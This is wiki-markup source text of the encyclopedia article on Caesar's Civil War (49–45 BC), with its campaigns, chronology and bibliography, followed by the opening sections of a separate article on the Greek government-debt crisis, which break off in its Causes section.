|commander2 =[[Pompey]][[Killed in action|†]] [[Titus Labienus]][[Killed in action|†]] [[Quintus Caecilius Metellus Pius Scipio Nasica|Metellus Scipio]][[Killed in action|†]] [[Cato the Younger]][[Killed in action|†]] [[Gnaeus Pompeius (son of Pompey the Great)|Gnaeus Pompeius]][[Killed in action|†]] [[Publius Attius Varus]][[Killed in action|†]] [[Sextus Pompey]]
|strength1 =
|strength2 =
|casualties1=
|casualties2=
|notes=
}}
{{Campaignbox Caesar's Civil War}}
{{Campaignbox Roman Republican Civil Wars}}

The '''Great Roman Civil War''' (49–45 BC), also known as '''Caesar's Civil War''', was one of the last politico-military conflicts in the [[Roman Republic]] before the establishment of the [[Roman Empire]]. It began as a series of political and military confrontations, between [[Julius Caesar]] (100–44 BC), his political supporters (broadly known as [[Populares]]), and his [[Roman legion|legions]], against the [[Optimates]] (or Boni), the politically conservative and socially traditionalist faction of the [[Roman Senate]], who were supported by [[Pompey]] (106–48 BC) and his legions.<ref>Kohn, G.C. ''Dictionary of Wars'' (1986) p. 374</ref>

After a five-year-long (49–45 BC) politico-military struggle, fought in [[Italia (Roman province)|Italy]], [[Illyria]], [[Ancient Greece|Greece]], [[Ancient Egypt|Egypt]], [[Africa (Roman province)|Africa]], and [[Hispania]], Caesar defeated the last of the Optimates in the [[Battle of Munda]] and became ''Dictator perpetuo'' (Perpetual Dictator) of Rome.<ref>Hornblower, S., Spawforth, A. (eds.) ''The Oxford Companion to Classical Civilization'' (1998) pp. 219-24</ref> The changes to Roman government concomitant to the war mostly eliminated the political traditions of the Roman Republic (509–27 BC) and led to the Roman Empire (27 BC–AD 1453).

== Pre-war politico–military situation ==
{{further|First Triumvirate|Gallic Wars}}
Caesar's Civil War resulted from the long [[political subversion]] of the Roman Government's institutions, begun with the career of [[Tiberius Gracchus]], continuing with the [[Marian reforms]] of the legions, the bloody [[Roman dictator|dictatorship]] of [[Lucius Cornelius Sulla]], and completed by the [[First Triumvirate]] over [[Ancient Rome|Rome]].

The First Triumvirate (so denominated by [[Cicero]]), comprising Julius Caesar, [[Crassus]], and Pompey, ascended to power with Caesar's election as [[Roman consul|consul]], in 59 BC. The First Triumvirate was unofficial, a political alliance the substance of which was Pompey's military might, Caesar's political influence, and Crassus' money. The alliance was further consolidated by Pompey's marriage to Julia, daughter of Caesar, in 59 BC. At the conclusion of Caesar's first consulship, the Senate (rather than granting him a provincial governorship) tasked him with watching over the Roman forests. This job, specially created by his Senate enemies, was meant to occupy him without giving him command of armies, or garnering him wealth and fame.

Caesar, with the help of Pompey and Crassus, evaded the Senate's decrees by legislation passed through the popular assemblies. By these acts, Caesar was promoted to [[Roman Governor]] of [[Illyricum (Roman province)|Illyricum]] and [[Cisalpine Gaul]]. [[Transalpine Gaul]] (southern France) was added later. The various governorships gave Caesar command of an army of (initially) four legions. The term of his proconsulship, and thus his immunity from prosecution, was set at five years, rather than the customary one year. His term was later extended by another five years. During this ten-year period, Caesar used his military forces to [[Gallic Wars|conquer Gaul]] and [[Caesar's invasion of Britain|invade Britain]], without explicit authorisation by the Senate.

In 52 BC, at the First Triumvirate's end, the [[Roman Senate]] supported Pompey as sole consul; meanwhile, Caesar had become a military hero and champion of the people. Knowing he hoped to become consul when his governorship expired, the Senate, politically fearful of him, ordered he resign command of his army. In December of 50 BC, Caesar wrote to the Senate agreeing to resign his military command if Pompey followed suit. Offended, the Senate demanded he immediately disband his army, or be declared an enemy of the people: an illegal political bill, for he was entitled to keep his army until his term expired.

A secondary reason for Caesar's immediate want for another consulship was delaying the inevitable senatorial prosecutions awaiting him upon retirement as governor of Illyricum and Gaul. These potential prosecutions were based upon alleged irregularities occurred in his consulship and war crimes committed in his Gallic campaigns. Moreover, Caesar loyalists, the [[tribune]]s [[Mark Antony]] and [[Quintus Cassius Longinus]], vetoed the bill, and were quickly expelled from the Senate. They then joined Caesar, who had assembled his army, whom he asked for military support against the Senate; agreeing, his army called for action.

In 50 BC, at his Proconsular term's expiry, the Pompey-led Senate ordered Caesar's return to Rome and the disbanding of his army, and forbade his standing for election ''in absentia'' for a second consulship; because of that, Caesar thought he would be prosecuted and rendered politically marginal if he entered Rome without consular immunity or his army; to wit, Pompey accused him of insubordination and treason.

=== Crossing the Rubicon ===

[[File:CæSAR PAUSED ON THE BANKS OF THE RUBICON.gif|thumb|300px|''[[Julius Caesar]]'' pausing on the banks of the [[Rubicon]]]]

{{Further|Rubicon|Alea iacta est}}

On 10 January 49 BC, leading one [[Roman legion|legion]], the [[Legio XIII Gemina]], General Julius Caesar crossed the [[Rubicon]] River, the boundary between the [[Cisalpine Gaul]] province to the north and Italy proper to the south, a legally proscribed action forbidden to any army-leading general. The proscription protected the [[Roman Republic]] from a ''[[coup d'état]]''; thus, Caesar's military action began a civil war.

This act of war on the Roman Republic by Caesar led to widespread approval amongst the Roman civilians, who regarded him as a hero. The historical records differ about which decisive comment Caesar made on crossing the Rubicon: one report is ''[[Alea iacta est]]'' (usually translated as "The die is cast").

=== March on Rome and the early Hispanian campaign ===
{{Further|Siege of Massilia|Massilia|Battle of Ilerda}}

[[File:Rimini088.jpg|thumb|250px|left|Column of [[Julius Caesar]], where he addressed his army to march on Rome and start the Civil War, [[Rimini]], Italy]]

Caesar's March on [[Ancient Rome|Rome]] was a triumphal progress; yet, the Senate, ignorant of Caesar's being armed only with a single legion, feared the worst and supported Pompey, who, on grasping the Republic's endangerment, said: "Rome cannot be defended", and escaped to [[Capua]] with his politicians, the aristocratic ''[[Optimates]]'' and the regnant consuls; [[Cicero]] later characterised Pompey's "outward sign of weakness" as allowing Caesar's politico-military consolidation to achieve Roman dictatorship.

Despite having retreated, in central Italy, Pompey and the Senatorial forces disposed of at least two legions, some 11,500 soldiers (he earlier had ordered Caesar return to Italy from Gaul), and some hastily levied Italian troops commanded by [[Lucius Domitius Ahenobarbus (consul 54 BC)|Lucius Domitius Ahenobarbus]] (Domitius). As Caesar progressed southwards, Pompey retreated towards [[Brundisium]], initially ordering Domitius (engaged in raising troops in [[Etruria]]) to stop Caesar's movement on Rome from the direction of the Adriatic seaboard.

Belatedly, Pompey ordered Domitius to retreat south also, and make junction with Pompey's forces. Domitius mostly ignored Pompey's orders, and, after being isolated and trapped near [[Corfinium]] was forced to surrender almost thirty cohorts of troops (about three Legions), most of whom promptly joined Caesar's army.

Pompey escaped to Brundisium, there awaiting sea transport for his legions, to [[Epirus]], in the Republic's eastern Greek provinces, expecting his influence to yield money and armies for a maritime blockade of Italy proper. Meanwhile, the aristocrats (the [[Optimates]])—including [[Metellus Scipio]] and [[Cato the Younger]]—joined Pompey there, whilst leaving a rear guard at Capua.

Caesar pursued Pompey to Brundisium, expecting restoration of their alliance of ten years prior; to wit, throughout the Great Roman Civil War's early stages, Caesar frequently proposed to Pompey that they, both generals, sheathe their swords. Pompey refused, legalistically arguing that Caesar was his subordinate and thus was obligated to cease campaigning and dismiss his armies before any negotiation. As the Senate's chosen commander, and with the backing of at least one of the current consuls, Pompey commanded legitimacy, whereas Caesar's military crossing of the Rubicon River frontier rendered him a ''de jure'' enemy of the Senate and People of Rome. Nevertheless, in March 49 BC, Pompey escaped Caesar at Brundisium, fleeing by sea to Epirus, in Roman Greece.

Taking advantage of Pompey's absence from the Italian mainland, Caesar effected an astonishingly fast 27-day, north-bound forced march to destroy, in the [[Battle of Ilerda]], [[Hispania]]'s politically leader-less Pompeian army, commanded by the legates, [[Lucius Afranius (consul)|Lucius Afranius]] (Afranius) and [[Marcus Petreius]] (Petreius), afterwards pacifying Roman Hispania; in campaign, the Caesarian forces—six legions, 3,000 cavalry (Gallic campaign veterans), and Caesar's 900-horse personal bodyguard—suffered 70 men killed in action, while the Pompeian forces lost 200 men killed and 600 wounded.

Returned to Rome in December of 49 BC, Caesar was appointed [[Roman dictator|Dictator]], with Mark Antony as his [[Magister Equitum|Master of the Horse]]. Caesar kept his dictatorship for eleven days, tenure sufficient to win him a second term as consul with [[Publius Servilius Vatia Isauricus (consul 48 BC)|Publius Servilius Vatia Isauricus]] as his colleague. Afterwards, Caesar renewed pursuit of Pompey, then in Roman Greece.

=== Greek, Illyrian and African campaigns ===
{{Further|Battle of Dyrrhachium (48 BC)|Battle of Pharsalus|Battle of Utica (49 BC)|Battle of Bagradas River (49 BC)}}

From [[Brundisium]], Caesar with 7 legions crossed the [[Strait of Otranto]] to the gulf of Valona, not Palaesta in [[Epirus]] (modern Palase/Dhermi, Albania), as reported by [[Lucan]].<ref>Longhurst 2016 Caesar’s Crossing of the Adriatic Countered by a Winter Blockade During the Roman Civil War The Mariner's Mirror Vol. 102; 132-152</ref> In that time, Pompey considered three courses of action: (i) alliance with the King of [[Parthia]], an erstwhile ally, far to the east; (ii) invade Italy with his naval superiority; and (iii) confronting Julius Caesar in decisive battle. A Parthian alliance was unfeasible, a Roman general fighting Roman legions with foreign troops was craven; and the military risk of an Italian invasion was politically unsavoury, because, the Italians (who thirty years earlier had rebelled against Rome) might rise against him; thus, on councilor's advice, Pompey decided to fight Julius Caesar in decisive battle.

Moreover, Caesar's pursuing him to Illyrium, across the [[Adriatic]] Sea, decided the matter, and, on 10 July 48 BC, Pompey fought him in the [[Battle of Dyrrhachium (48 BC)|Battle of Dyrrhachium]], costing Caesar 1,000 veteran legionaries and a retreat. Disbelieving that his army had bested Caesar's legions, Pompey misinterpreted the retreat as a feint to a trap, and refused to give chase for the decisive, definitive ''coup de grâce'', thus losing the initiative, and the chance to quickly conclude Caesar's Civil War; meanwhile, Caesar retreated southwards. Near [[Pharsalus]], Caesar pitched a strategic bivouac, and Pompey attacked, yet, despite his much larger army, was conclusively [[Battle of Pharsalus|defeated]] by Caesar's troops. A major reason for Pompey's defeat was a miscommunication among front cavalry horsemen.

=== Egyptian dynastic struggle ===
{{Main|Cleopatra}}

Pompey fled to [[Egypt]], where he was murdered by an officer of [[Ptolemy XIII of Egypt|King Ptolemy XIII]]. Caesar pursued the Pompeian army to [[Alexandria]], where they camped and became involved with the Alexandrine civil war between Ptolemy and his sister, wife, and co-regnant queen, the [[Pharaoh]] [[Cleopatra|Cleopatra VII]]. Perhaps as a result of Ptolemy's role in Pompey's murder, Caesar sided with Cleopatra; he is reported to have wept at the sight of Pompey's head, which was offered to him by Ptolemy's chamberlain [[Pothinus]] as a gift.

In any event, Caesar was [[Siege of Alexandria (47 BC)|besieged at Alexandria]] and after [[Mithridates I of the Bosporus|Mithridates]] relieved the city, Caesar [[Battle of the Nile (47 BC)|defeated Ptolemy's army]] and installed Cleopatra as ruler, with whom he fathered his only known biological son, [[Caesarion|Ptolemy XV Caesar]], better known as "Caesarion". Caesar and Cleopatra never married, due to Roman law that prohibited a marriage with a non-Roman citizen.

=== War against Pharnaces ===
{{Main|Pharnaces II of Pontus}}

After spending the first months of 47 BC in Egypt, he went to [[History of Syria|Syria]], and then to [[Pontus]] to deal with [[Pharnaces II of Pontus|Pharnaces II]], a [[client king]] of Pompey's who had taken advantage of the Romans being distracted by their civil war to oppose the Roman-friendly [[Deiotarus]] and make himself the ruler of [[Colchis]] and lesser [[Armenia]]. At [[Nicopolis]] he had defeated what little Roman opposition Caesar's lieutenant, the governor of Asia [[Gnaeus Domitius Calvinus]], could muster. He had also taken the city of Amisus, which was a Roman ally, made all the boys [[eunuch]]s, and sold the inhabitants to slave traders. After this show of strength against the Romans, Pharnaces drew back to suppress revolt in his new conquests.

Nevertheless, the extremely rapid approach of Caesar in person forced Pharnaces to turn his attention back to the Romans. At first, recognizing the threat, he made offers of submission, with the sole object of gaining time until Caesar's attention fell elsewhere; Caesar's speed brought war quickly and battle took place near [[Battle of Zela|Zela]] (modern Zile in Turkey), where Pharnaces was routed with just a small detachment of cavalry. Caesar's victory was so swift and complete that, in a letter to a friend in Rome, he famously said of the short war, "[[Veni, vidi, vici]]" ("I came, I saw, I conquered"): indeed, for his Pontic triumph, that may well have been the label displayed above the spoils.

Pharnaces himself fled quickly back to the Bosporus, where he managed to assemble a small force of [[Scythia]]n and [[Sarmatian]] troops, with which he was able to gain control of a few cities; however, a former governor of his, Asandar, attacked his forces and killed him. The historian [[Appian]] states that Pharnaces died in battle; [[Dio Cassius]] says Pharnaces was captured and then killed.

=== Later campaign in Africa and the war on Cato ===
{{Further|Battle of Ruspina|Battle of Thapsus|Anti-Cato}}

Caesar returned to Rome to deal with several mutinous legions. While Caesar had been in Egypt installing Cleopatra as Queen, four of his veteran legions encamped outside of Rome under the command of Mark Antony. The legions were waiting for their discharges and the bonus pay Caesar had promised them before the battle of Pharsalus. As Caesar lingered in Egypt, the situation quickly deteriorated. Antony lost control of the troops and they began looting estates south of the capital. Several delegations of diplomats were dispatched to try to quell the mutiny.

Nothing worked and the mutineers continued to call for their discharges and back pay. After several months, Caesar finally arrived to address the legions in person. Caesar knew he needed these legions to deal with Pompey's supporters in north Africa, who had mustered 14 legions of their own. Caesar also knew that he did not have the funds to give the soldiers their back pay, much less the money needed to induce them to reenlist for the north African campaign.

When Caesar approached the speaker's dais, a hush fell over the mutinous soldiers. Most were embarrassed by their role in the mutiny in Caesar's presence. Caesar asked the troops what they wanted with his cold voice. Ashamed to demand money, the men began to call out for their discharge. Caesar bluntly addressed them as "citizens" instead of "soldiers," a tacit indication that they had already discharged themselves by virtue of their disloyalty.

He went on to tell them that they would all be discharged immediately. He said he would pay them the money he owed them after he won the north African campaign with other legions. The soldiers were shocked. They had been through 15 years of war with Caesar and they had become fiercely loyal to him in the process. It had never occurred to them that Caesar did not need them.

The soldiers' resistance collapsed. They crowded the dais and begged to be taken to north Africa. Caesar feigned indignation and then allowed himself to be won over. When he announced that he would suffer to bring them along, a huge cheer arose from the assembled troops. Through this [[reverse psychology]], Caesar reenlisted four enthusiastic veteran legions to invade north Africa without spending a single [[sesterce]].

Caesar quickly gained a significant victory at [[Battle of Thapsus|Thapsus]] in 46 BC over the forces of Metellus Scipio, Cato the Younger and Juba (who all committed suicide).

=== Second Hispanian campaign and the end of the war ===
{{Main|Battle of Munda}}

Nevertheless, Pompey's sons [[Gnaeus Pompeius (son of Pompey the Great)|Gnaeus Pompeius]] and [[Sextus Pompey|Sextus Pompeius]], together with [[Titus Labienus]] (Caesar's former propraetorian legate (''[[legatus]] [[promagistrates|propraetore]]'') and second in command in the Gallic War) escaped to Hispania. Caesar gave chase and defeated the last remnants of opposition in the [[Battle of Munda]] in March 45 BC. During this time, Caesar was elected to his third and fourth terms as consul in 46 BC (with [[Marcus Aemilius Lepidus (triumvir)|Marcus Aemilius Lepidus]]) and 45 BC.

== Chronology ==
* 49 BC
** January 1: The [[Roman Senate]] receives a proposal from [[Julius Caesar]] that he and [[Pompey]] should lay down their commands simultaneously. The Senate responds that Caesar must immediately surrender his command.
** January 10: [[Julius Caesar]] leads his army across the [[Rubicon]], which separates his jurisdiction (Cisalpine Gaul) from that of the Senate (Italy), and thus initiates a civil war.
** February, Pompey's flight to [[Epirus]] (in Western Greece) with most of the [[Roman Senate|Senate]]
** March 9, Caesar's advance against Pompeian forces in [[Hispania]]
** April 19, Caesar's siege of [[Marseille|Massilia]] against the Pompeian [[Lucius Domitius Ahenobarbus (consul 54 BC)|Lucius Domitius Ahenobarbus]], later the siege was conducted by Caesarian [[Gaius Trebonius]]
** June, Caesar's arrival in [[Hispania]], where he was able to seize the [[Pyrenees]] passes defended by the Pompeian [[Lucius Afranius (consul)|L. Afranius]] and [[Marcus Petreius|M. Petreius]].
** July 30, Caesar surrounded Afranius and Petreius's army in [[Lleida|Ilerda]]
** August 2, Pompeians in Ilerda surrendered to Caesar
** August 24: Caesar's general [[Gaius Scribonius Curio]], is defeated in North Africa by the Pompeians under [[Publius Attius Varus|Attius Varus]] and King [[Juba I of Numidia]] (whom he defeated earlier in the [[Battle of Utica (49 BC)|Battle of Utica]], in the [[Battle of the Bagradas River (49 BC)|Battle of the Bagradas River]]), and commits suicide.
** September [[Decimus Junius Brutus Albinus]], a Caesarian, defeated the combined Pompeian-Massilian naval forces in the naval [[Siege of Massilia|Battle of Massilia]], while the Caesarian fleet in the [[Adriatic]] was defeated near Curicta ([[Krk]])
** September 6, Massilia surrendered to Caesar, coming back from Hispania
** October, Caesar appointed Dictator in Rome; presides over his own election as consul and resigns after eleven days
* 48 BC:
** January 4, Caesar landed at [[Durazzo|Dyrrhachium]] ([[Durazzo]])
** March, [[Marcus Antonius|Antony]] joined Caesar
** April, [[Battle of Dyrrhachium (48 BC)|Battle of Dyrrhachium]]
** July 10: [[Battle of Dyrrhachium (48 BC)|Battle of Dyrrhachium]], Julius Caesar barely avoids a catastrophic defeat by [[Pompey]] in [[Macedon]]ia, he retreats to [[Thessaly]].
** August 9: [[Battle of Pharsalus]]: [[Julius Caesar]] decisively defeats [[Pompey]] at [[Pharsalus]] and Pompey flees to [[Ptolemaic Egypt|Egypt]].
** September 28, Caesar learned that Pompey was assassinated.
** Siege of [[Alexandria]]
** October, [[Pharnaces II of Pontus|Pharnaces]], King of [[Bosporan Kingdom|Bosporus]] defeated the Caesarian [[Gnaeus Domitius Calvinus]] in the Battle of Nicopolis (or Nikopol)
** December: Battle in [[Alexandria]], [[Egypt]] between the forces of Caesar and his ally [[Cleopatra VII of Egypt]] and those of rival King [[Ptolemy XIII of Egypt]] and Queen [[Arsinoe IV]]. The latter two are defeated and flee the city; Cleopatra becomes queen of Egypt. During the battle part of the [[Library of Alexandria]] catches fire and is burned down.
** Caesar is named Dictator for one year.
* 47 BC
** February: Caesar and his ally Cleopatra defeat the forces of the rival [[Ptolemaic Egypt|Egyptian]] Queen [[Arsinoe IV]] in the [[Battle of the Nile (47 BC)|Battle of the Nile]], Ptolemy was killed, Caesar then relieved his besieged forces in [[Alexandria]]
** May: Caesar defeated [[Pharnaces II of Pontus]], king of the Bosporus in the [[Battle of Zela]]. (This is the war that Caesar tersely described ''veni, vidi, vici''.)
** [[Pharaoh]] [[Cleopatra VII of Egypt]] promotes her younger brother [[Ptolemy XIV of Egypt]] to co-ruler.
** August, Caesar quelled a mutiny of his veterans in Rome.
** October, Caesar's invasion of [[Africa]], against [[Metellus Scipio]] and [[Labienus]], Caesar's former lieutenant in [[Gaul]]
* 46 BC
** January 4: Caesar narrowly defeats his former second in command [[Titus Labienus]] in the [[Battle of Ruspina]]; nearly 1/3 of Caesar's army is killed.
** February 6: Caesar defeats the combined army of [[Pompey|Pompeian]] followers and [[Numidian]]s under [[Metellus Scipio]] and [[Juba I of Numidia|Juba]] in the [[Battle of Thapsus]]. Cato commits suicide. Afterwards, he is accorded the office of ''Dictator'' for the next ten years.
** November: Caesar leaves for Farther [[Hispania]] to deal with a fresh outbreak of resistance.
** Caesar, in his role as [[Pontifex Maximus]], reforms the Roman calendar to create the [[Julian calendar]]. The transitional year is extended to 445 days to synchronize the new calendar and the seasonal cycle. The ''Julian Calendar'' would remain the standard in the [[western world]] for over 1600 years, until superseded by the [[Gregorian Calendar]] in 1582.
** Caesar appoints his grandnephew [[Augustus Caesar|Gaius Octavius]] his heir.
* 45 BC
** January 1: [[Julian calendar]] goes into effect
** March 17: In his last victory, Caesar defeats the [[Pompey|Pompeian]] forces of [[Titus Labienus]] and [[Pompey the younger]] in the [[Battle of Munda]]. [[Gnaeus Pompeius (son of Pompey the Great)|Pompey the younger]] was executed, and [[Labienus]] died in battle, but [[Sextus Pompey]] escaped to take command of the remnants of the Pompeian fleet.
** The veterans of Caesar's Legions ''[[Legio XIII Gemina]]'' and ''[[Legio X Equestris]]'' demobilized. The veterans of the 10th legion would be settled in [[Narbo]], while those of the 13th would be given somewhat better lands in [[Italia (Roman province)|Italia]] itself.
** Caesar probably writes the Commentaries in this year
* 44 BC
** Julius Caesar is named ''[[Dictator perpetuo]]'' ("dictator in perpetuity")
** Julius Caesar is assassinated on March 15, the [[Ides of March]].

== Aftermath ==
Caesar was later proclaimed dictator first for ten years and then in perpetuity. The latter arrangement in openly doing away with a term limit, triggered the conspiracy leading to his assassination on the [[Ides of March]] in 44 BC out of such fears. Following this, Antony and Caesar's adopted son Octavius (later Caesar [[Augustus]]) had to fight yet another civil war against remnants of the Optimates and Liberatores faction, but they were crushed by the skill of Marcus Antonius, who was able to defeat his two main opponents, and Octavius, despite having his camp overrun, evaded capture.

== References ==
{{reflist}}

== Bibliography ==
* The ''[[Commentarii de Bello Civili]]'' (''Commentaries on the Civil War''), events of the Civil War until immediately after Pompey's death in Egypt.
* ''[[De Bello Hispaniensi]]'' (''On the Hispanic War'') campaigns in [[Hispania]]
* ''[[De Bello Africo]]'' (''On the African War''), campaigns in North Africa
* ''[[De Bello Alexandrino]]'' (''On the Alexandrine War''), campaign in Alexandria.
* E.S. Gruen, ''The Last Generation of the Roman Republic'', California U.P. 1974, pp. 449–497. ISBN 0-520-20153-1
* Gelzer, ''Caesar — Politician and Statesman'', Chapter 5. Harvard University Press, 1968.

{{Ancient Roman Wars}}

[[Category:40s BC conflicts]]
[[Category:Roman Republican civil wars]]
[[Category:Julius Caesar]]
[[Category:Cleopatra]]
[[Category:40s BC in the Roman Republic]]

Greek government-debt crisis

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{{Multiple issues|{{POV|date=July 2015}}
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[[File:Greece gmnt bonds.jpg|alt=Frequency: Monthly; Interest rate type: Long-term interest rate for convergence purposes; Transaction type: Debt security issued; Maturity category: 10 years; BS counterpart sector: Unspecified counterpart sector; Currency of transaction: Euro; IR business coverage|thumb|10-year Greece government bonds<ref>{{cite web|title = ECB Statistical Data Warehouse|url = http://sdw.ecb.europa.eu/browseTable.do|website = sdw.ecb.europa.eu |accessdate = 2015-08-16}}</ref>|300px]]

{{Greek economic crisis}}

The '''Greek government-debt crisis''' (also known as the '''Greek [[Depression (economics)|depression]]''')<ref>[http://www.foreignpolicy.com/articles/2013/01/09/the_greek_depression "The Greek Depression"] ''[[Foreign Policy (magazine)|Foreign Policy]]''</ref><ref>[http://qz.com/27675/greece-has-a-depression-worse-than-weimar-germanys-and-malaria-to-boot/ "Greece has a depression worse than Weimar Germany’s—and malaria too"] ''[[Quartz (publication)|Quartz]]''</ref><ref>{{cite web|url=http://www.maxkeiser.com/2011/09/190-keiser-report-the-greek-depression/|title=[190] Thursday, Sept. 29: Keiser Report: The Greek Depression & Macing Bankers|publisher=|accessdate=29 June 2015}}</ref> is the [[sovereign debt crisis]] faced by Greece in the aftermath of the [[financial crisis of 2007–08]]. The Greek crisis started in late 2009 triggered by the turmoil of the [[Great Recession]], structural weaknesses in the [[Economy of Greece|Greek economy]] and revelations that previous data on [[government debt]] levels and deficits had been undercounted by the Greek government.<ref>{{cite journal |last1= Higgins |first1= Matthew |last2= Klitgaard |first2= Thomas |year= 2011 |title= Saving Imbalances and the Euro Area Sovereign Debt Crisis |url= http://www.newyorkfed.org/research/current_issues/ci17-5.pdf |journal= Current Issues in Economics and Finance |volume= 17 |issue= 5 |publisher= Federal Reserve Bank of New York |accessdate= 11 November 2013 }}</ref><ref>{{cite news |url= http://www.reuters.com/article/idUSLDE61F0W720100216 |title= Peripheral euro zone government bond spreads widen |agency=Reuters |author=George Matlock |date=16 February 2010 |accessdate=28 April 2010}}</ref><ref>{{cite news|url=http://www.economist.com/node/16009099 | title=Acropolis now | work=The Economist | date= 29 April 2010 |accessdate=22 June 2011}}</ref>

This led to a crisis of confidence, indicated by a widening of [[bond (finance)|bond]] [[yield spread]]s and rising cost of risk insurance on [[credit default swap]]s compared to the other [[Member states of the Eurozone|Eurozone countries]], particularly Germany.<ref>{{cite web|url=http://www.financialmirror.com/News/Cyprus_and_World_News/20151 |title=Greek/German bond yield spread more than 1,000 bps |publisher=Financialmirror.com |date=28 April 2010 |accessdate=5 May 2010}}{{dead link|date=May 2012}}</ref><ref>{{cite web|url=http://www.ft.com/cms/s/0/7d25573c-1ccc-11df-8d8e-00144feab49a.html |title=Gilt yields rise amid UK debt concerns |work=Financial Times |date=18 February 2010 |accessdate=15 April 2011}}</ref> In 2012, Greece launched the largest [[sovereign default|sovereign debt default]] in history. On June 30, 2015, it became the first [[developed country]] to fail to make an [[International Monetary Fund|IMF]] loan repayment.<ref>{{cite web|url=http://www.ctvnews.ca/business/greece-fails-to-make-imf-payment-as-bailout-expires-1.2446852|title=Greece fails to make IMF payment as bailout expires|work=CTVNews|accessdate=3 July 2015}}</ref> At that time debt levels had reached €323bn or some €30,000 per capita.<ref>BBC News, 30 June 2015: [http://www.bbc.com/news/world-europe-33325886?ocid=global_bbccom_email_30062015_top+news+stories Greece debt crisis: Eurozone rejects bailout appeal]</ref>

== Overview ==
{{further|Greek government-debt crisis timeline#Background}}
{{one source|section|date=December 2015}}
[[File:Unit labor costs.svg|thumb|upright=1.35|alt=Relative change in unit labour costs in 2000–2012|Relative change in unit labour costs, 2000–2012]]
[[File:RULC Europe.png|thumb|upright=1.35|Real unit labour costs: total economy (Ratio of compensation per employee to nominal GDP per person employed.)]]
The 2001 introduction of the euro reduced trade costs among Eurozone countries, increasing overall trade volume. Labour costs increased more (from a lower base) in peripheral countries such as Greece relative to core countries such as Germany, eroding Greece's competitive edge. As a result, Greece's [[Current account|current account (trade) deficit]] rose significantly.<ref name=FRBSFGalina>{{cite web|url=http://www.frbsf.org/economic-research/publications/economic-letter/2013/january/balance-payments-europe-periphery/|title=Federal Reserve Bank San Francisco – Research, Economic Research, Europe, Balance of Payments, European Periphery|date=14 January 2013|work=Federal Reserve Bank of San Francisco|accessdate=3 July 2015}}</ref>

A trade deficit means that a country is consuming more than it produces, which requires borrowing/direct investment from other countries.<ref name=FRBSFGalina /> Both the Greek [[trade deficit]] and [[budget deficit]] rose from below 5% of [[Gross domestic product|GDP]] in 1999 to peak around 15% of GDP in the 2008–2009 periods.<ref name="research.stlouisfed.org">{{cite web|url=https://research.stlouisfed.org/fred2/graph/?graph_id=244979&updated=4652|title=FRED Graph|work=stlouisfed.org|accessdate=3 July 2015}}</ref> Another driver of its investment inflow was Greece's membership in the EU, which helped lower the [[Compound interest#Terminology|yields]] on its [[government bond]]s following the Eurozone's creation. Greece was perceived as a higher [[credit risk]] alone than it was as a member of the EU, which implied that investors felt the EU would bring discipline to its finances and support Greece in the event of problems.<ref name="vox.com">{{cite web|url=http://www.vox.com/2015/7/1/8871509/greece-charts|title=Greece's debt crisis explained in charts and maps|author=Ezra Klein|work=Vox}}</ref>

As the [[Great Recession]] spread to Europe, the amount funds lent from the European [[core countries]] (e.g., Germany, France, and Italy) to the peripheral countries such as Greece began to decline. Reports in 2009 of Greek fiscal mismanagement and deception increased [[Interest expense|borrowing costs]]; the combination meant Greece could no longer borrow to finance its [[trade deficit|trade]] and [[budget deficit]]s at an affordable cost.<ref name="FRBSFGalina" />

A typical country facing a “sudden stop” in private investment and a high (local currency) [[government debt|debt]] load typically allows its currency to [[currency depreciation|depreciate]] to encourage investment and to pay back the debt in cheaper currency. This was not possible while Greece remained on the Euro.<ref name=FRBSFGalina /> Instead, to become more competitive, Greek wages fell nearly 20% from mid-2010 to 2014, a form of [[deflation]]. This significantly reduced income and GDP, resulting in a severe [[economic recession|recession]], decline in tax receipts and a significant rise in the [[debt ratio|debt-to-GDP ratio]]. Unemployment reached nearly 25%, from below 10% in 2003. Significant government spending cuts helped the Greek government return to a primary [[budget surplus]] by 2014 (collecting more [[government revenue|revenue]] than it paid out, excluding [[compound interest|interest]]).<ref name=AKPrimer>{{cite web|url=http://faculty.chicagobooth.edu/anil.kashyap/research/papers/A-Primer-on-the-Greek-Crisis_june29.pdf |first=Anil |last=Kashyap |title=A Primer on the Greek Crisis |date=June 29, 2015|accessdate=May 2016}}</ref>

== Causes ==
In January 2010, the [[Ministry of Finance (Greece)|Greek Ministry of Finance]] published ''Stability and Growth Program 2010''.<ref name="europa1">{{cite web|url=http://ec.europa.eu/economy_finance/sgp/pdf/20_scps/2009-10/01_programme/el_2010-01-15_sp_en.pdf|title=Update of the Hellenic Stability and Growth Programme|work=Greek Ministry of Finance|publisher=European Commission|accessdate=9 October 2011|date=15 January 2010}}</ref> The report listed five main causes, poor GDP growth, government debt and deficits, budget compliance and data compatibility. Causes found by others included excess government spending, current account deficits and tax avoidance.

=== GDP growth ===
After 2008, GDP growth was lower than the [[Hellenic Statistical Authority|Greek national statistical agency]] had anticipated. The Greek Ministry of Finance reported the need to improve competitiveness by reducing salaries and bureaucracy<ref name="europa1" /> and to redirect governmental spending from non-growth sectors such as the military into growth-stimulating sectors.

The global financial crisis had a particularly large negative impact on GDP growth rates in Greece. Two of the country's largest earners, tourism and shipping were badly affected by the downturn, with revenues falling 15% in 2009.<ref name="tempsreel.nouvelobs.com">{{cite web|url=http://tempsreel.nouvelobs.com/economie/20100505.OBS3509/onze-questions-reponses-sur-la-crise-grecque.html|title=Onze questions-réponses sur la crise grecque|date=5 May 2010|publisher=Nouvelobs.com}}</ref>

=== Government deficit ===
Fiscal imbalances developed from 2004 to 2009: "output increased in nominal terms by 40%, while central government primary expenditures increased by 87% against an increase of only 31% in tax revenues." The Ministry intended to implement real expenditure cuts that would allow expenditures to grow 3.8% from 2009 to 2013, well below expected inflation at 6.9%. Overall revenues were expected to grow 31.5% from 2009 to 2013, secured by new, higher taxes and by a major reform of the ineffective tax collection system. The deficit needed to decline to a level compatible with a declining debt-to-GDP ratio.

=== Government debt ===
The debt increased in 2009 due to the higher than expected government deficit and higher debt-service costs. The Greek government assessed that structural economic reforms would be insufficient, as the debt would still increase to an unsustainable level before the positive results of reforms could be achieved. In addition to structural reforms, permanent and temporary [[austerity measures]] (with a size relative to GDP of 4.0% in 2010, 3.1% in 2011, 2.8% in 2012 and 0.8% in 2013) were needed. Reforms and austerity measures, in combination with an expected return of positive economic growth in 2011, would reduce the baseline deficit from €30.6 billion in 2009 to €5.7 billion in 2013, while the debt/GDP ratio would stabilize at 120 in 2010–2011 and decline in 2012 and 2013.

